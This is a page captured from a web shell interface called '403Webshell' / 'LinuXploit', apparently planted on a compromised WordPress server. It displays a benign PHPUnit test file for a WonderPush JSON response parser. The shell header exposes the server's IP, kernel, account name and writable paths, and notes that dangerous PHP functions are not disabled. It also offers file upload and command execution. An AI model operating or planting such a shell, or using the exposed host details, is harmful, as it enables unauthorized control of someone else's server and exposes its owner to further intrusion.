403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/public_html/wp-content/plugins/mailin/wonderpush-php-lib/tests/Net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/public_html/wp-content/plugins/mailin/wonderpush-php-lib/tests/Net/ResponseTest.php
<?php

namespace WonderPush\Net;

class ResponseTest extends \WonderPush\TestCase {

  public function testParsingResetsOnSetRawBody() {
    $response = new Response();
    $this->assertAttributeEquals(null, 'isParsed', $response);
    $response->setRawBody('{"foo":"bar"}');
    $this->assertAttributeEquals(null, 'isParsed', $response);
    $expected = new \stdClass();
    $expected->foo = 'bar';
    $this->assertEquals($expected, $response->parsedBody());
    $this->assertAttributeEquals(true, 'isParsed', $response);

    $response->setRawBody('{"foo":"qux"}');
    $this->assertAttributeEquals(null, 'isParsed', $response);
    $expected = new \stdClass();
    $expected->foo = 'qux';
    $this->assertEquals($expected, $response->parsedBody());
    $this->assertAttributeEquals(true, 'isParsed', $response);
  }

  public function testParseErrorParsesObjectAndResetsOnSetRawBody() {
    $response = new Response();
    $this->assertAttributeEquals(null, 'isParsed', $response);
    $response->setRawBody('{"foo":"bar"}');
    $this->assertAttributeEquals(null, 'isParsed', $response);
    $this->assertEquals(JSON_ERROR_NONE, $response->parseError());
    $this->assertAttributeEquals(true, 'isParsed', $response);

    $response->setRawBody('#');
    $this->assertAttributeEquals(null, 'isParsed', $response);
    $parseError = $response->parseError();
    $this->assertInstanceOf('\WonderPush\Errors\Parsing', $parseError);
    /** @var $parseError \WonderPush\Errors\Parsing */
    $this->assertEquals(JSON_ERROR_SYNTAX, $parseError->getJsonErrorCode());
    $this->assertAttributeEquals(true, 'isParsed', $response);
  }

  public function testParseErrorMsgParsesObjectAndResetsOnSetRawBody() {
    $response = new Response();
    $this->assertAttributeEquals(null, 'isParsed', $response);
    $response->setRawBody('{"foo":"bar"}');
    $this->assertAttributeEquals(null, 'isParsed', $response);
    $this->assertNull($response->parseError());
    $this->assertAttributeEquals(true, 'isParsed', $response);

    $response->setRawBody('#');
    $this->assertAttributeEquals(null, 'isParsed', $response);
    $this->assertInstanceOf('\WonderPush\Errors\Parsing', $response->parseError()); // "Syntax error" / "unexpected character"
    $this->assertAttributeEquals(true, 'isParsed', $response);
  }

  public function testParseJsonObject() {
    $response = Response::_new()
        ->setRawBody('{"foo":"bar"}');
    $expected = new \stdClass();
    $expected->foo = 'bar';
    $this->assertEquals($expected, $response->parsedBody());
  }

  public function testParseJsonEmptyObjectAsObject() {
    $response = Response::_new()
        ->setRawBody('{}');
    $this->assertNotEquals(array(), $response->parsedBody());
    $this->assertEquals(new \stdClass(), $response->parsedBody());
  }

  public function testParseJsonArray() {
    $response = Response::_new()
        ->setRawBody('[]');
    $this->assertEquals(array(), $response->parsedBody());
  }

  public function testParseJsonBool() {
    $response = Response::_new()
        ->setRawBody('true');
    $this->assertEquals(true, $response->parsedBody());
  }

  public function testParseJsonString() {
    $response = Response::_new()
        ->setRawBody('"foo"');
    $this->assertEquals('foo', $response->parsedBody());
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit